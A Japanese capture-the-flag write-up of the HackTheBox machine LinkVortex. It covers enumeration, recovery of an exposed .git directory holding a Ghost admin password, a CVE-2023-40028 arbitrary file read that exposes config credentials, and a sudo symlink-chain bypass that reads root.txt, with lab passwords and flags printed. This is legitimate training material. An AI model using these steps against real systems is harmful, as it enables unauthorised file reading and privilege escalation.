0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】LinkVortex:Writeup

Posted at

概要

HackTheBox「LinkVortex」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sVC -T4 -A -p- 10.10.11.47 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http Apache

ドメインが分かったので/etc/hostsに追加します。

10.10.11.47     linkvortex.htb

80番ポートにアクセスします。

image.png

フッターからghostというオープンソースのツールで作成されたことが分かりました。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://linkvortex.htb/ -x 404

[07:34:11] 301 -  179B  - /assets  ->  /assets/
[07:34:34] 200 -   15KB - /favicon.ico
[07:34:47] 200 -    1KB - /LICENSE
[07:35:11] 200 -  103B  - /robots.txt
[07:35:18] 200 -  256B  - /sitemap.xml

/robots.txtにアクセスすると更なるパスを発見できました。

/robots.txt
User-agent: *
Sitemap: http://linkvortex.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/

/ghostにアクセスするとログインフォームが表示されました。

image.png

admin@linkvortex.htbで認証を試みたところ、エラーメッセージからこのアカウントの存在を確認できました。

image.png

サブドメインを列挙をします。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.linkvortex.htb" -u http://linkvortex.htb -fs 230

dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 258ms]

dev.linkvortex.htbを発見したので/etc/hostsに追記しアクセスします。

image.png

devサブドメインのディレクトリスキャンをします。

$ dirsearch -u http://dev.linkvortex.htb -x 404

[09:30:23] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/        
[09:30:23] 200 -  557B  - /.git/
[09:30:23] 200 -  201B  - /.git/config
[09:30:23] 200 -   73B  - /.git/description
[09:30:23] 200 -  620B  - /.git/hooks/
[09:30:23] 200 -   41B  - /.git/HEAD
[09:30:23] 200 -  402B  - /.git/info/

(省略)

/.git/が見つかったので配下をダウンロードします。

$ wget -r http://dev.linkvortex.htb/.git/

コミット履歴を複数確認できました。

$ git log --oneline
299cdb4 (HEAD, tag: v5.58.0) v5.58.0
dce2e68 Added Tips&Donations link to portal links (#17580)
3562560 Data generator: Ensure order of newsletters is correct

(省略)

git diffコマンドでステージング環境との差分を確認するとパスワードを発見できました。

$ git diff --staged

(省略)
 
         it('complete setup', async function () {
             const email = 'test@example.com';
-            const password = 'thisissupersafe';
+            const password = 'OctopiFociPilfer45';

得られたパスワードでログインに成功しました。

image.png

settingsからバージョンが5.58.0だと分かりました。

image.png

該当バージョンで脆弱性情報を検索するとCVE-2023-40028が見つかりました。
この脆弱性を悪用することで任意のファイルを読み込めるようです。

PoCは下記リポジトリを使用しました。

/etc/passwdファイルの読み込みに成功しました。

$ ./CVE-2023-40028.sh -u "admin@linkvortex.htb" -p "OctopiFociPilfer45"
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

ホスト名を確認するとDockerコンテナ内に居ると予想できます。

file> /etc/hostname
7facf5f862ae

設定ファイルを閲覧したいですが、現状ディレクトリ構成が分かりません。
コンテナ内のディレクトリ構成を把握するために実際にコンテナをローカルに構築してみます。

イメージはDockerHubから公式のものをダウンロードします。

公式のアナウンスに従ってコマンドを実行し、構築します。

$ sudo docker pull ghost

$ sudo docker run -d --name some-ghost -e NODE_ENV=development ghost

コンテナに入ると/var/lib/ghostにいることが分かります。

$ sudo docker exec -it some-ghost /bin/bash
root@85551094b4c0:/var/lib/ghost#

ディレクトリを確認するとconfig.production.jsonを発見しました。
実際のターゲットマシン上でも/var/lib/ghost/config.production.jsonを参照すれば情報を得られそうです。

# ls -la
total 40
drwxr-xr-x  1 node node 4096 Dec 10 01:30 .
drwxr-xr-x  1 root root 4096 Dec 10 01:29 ..
-rw-r--r--  1 node node   84 Dec 10 01:30 .ghost-cli
lrwxrwxrwx  1 node node   22 Dec 10 01:30 config.development.json -> config.production.json
-rw-r--r--  1 node node  295 Dec 10 01:30 config.production.json
drwxrwxrwt 11 node node 4096 Dec 10 17:26 content
drwxr-xr-x 11 node node 4096 Dec 10 01:29 content.orig
lrwxrwxrwx  1 node node   31 Dec 10 01:30 current -> /var/lib/ghost/versions/5.104.1
drwxr-xr-x  1 node node 4096 Dec 10 01:29 versions

実際にconfig.production.jsonをターゲットマシン上で確認すると、SMTPの認証情報を得られました。

file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

得られた認証情報でSSH接続に成功しました。

$ ssh bob@linkvortex.htb
bob@linkvortex:~$

/home/bob/user.txtからユーザーフラグを入手できました。

$ cat user.txt 
f45a09ebd41243969ef945b549ec7a5f

Root Flag

sudo -lを確認すると、/opt/ghost/clean_symlink.shが実行できるようです。

$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

/opt/ghost/clean_symlink.shの処理を確認します。

/opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

CHECK_CONTENT環境変数が設定されていない場合はfalseをセットします。

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

スクリプトの引数を受け取りファイルが.pngで終わるか確認しています。

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

引数のPNGファイルがリンクの場合にファイル名を取得し、リンク先にetc,rootが入っているか確認します。

入っている場合はリンクを削除します。

入っていない場合は/var/quarantinedにファイルを移動し、CHECK_CONTENTがtrueの場合にリンク先のファイルをcatコマンドで表示します。

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

最後のcatコマンドで/root/root.txtを読み込めそうです。
まず、CHECK_CONTENTがtrueの場合の条件分岐を満たします。

$ CHECK_CONTENT=true
$ export CHECK_CONTENT
$ printenv | grep CHECK_CONTENT
CHECK_CONTENT=true

次にシンボリックリンクを作成します。
今回はシンボリックリンクチェーンを使用してetc,rootの文字列チェックを回避します。

/root/root.txtにリンクするa.pngを作成します。
そしてa.pngにリンクするb.png/var/quarantinedに作成します。

$ ln -s /root/root.txt a.png
$ ln -s /var/quarantined/a.png b.png
$ ls -la
total 8
drwxr-xr-x  2 bob  bob  4096 Dec 10 19:17 .
drwxr-xr-x 14 root root 4096 Nov 29 15:58 ..
lrwxrwxrwx  1 bob  bob    14 Dec 10 19:17 a.png -> /root/root.txt
lrwxrwxrwx  1 bob  bob    22 Dec 10 19:17 b.png -> /var/quarantined/a.png

/opt/ghost/clean_symlink.shの引数にb.pngを指定して実行すると/root/root.txtフラグを入手できました。

$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /var/quarantined/b.png 
Link found [ /var/quarantined/b.png ] , moving it to quarantine
/usr/bin/mv: '/var/quarantined/b.png' and '/var/quarantined/b.png' are the same file
Content:
6a8d12b830755445dc3634720f45860c
0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?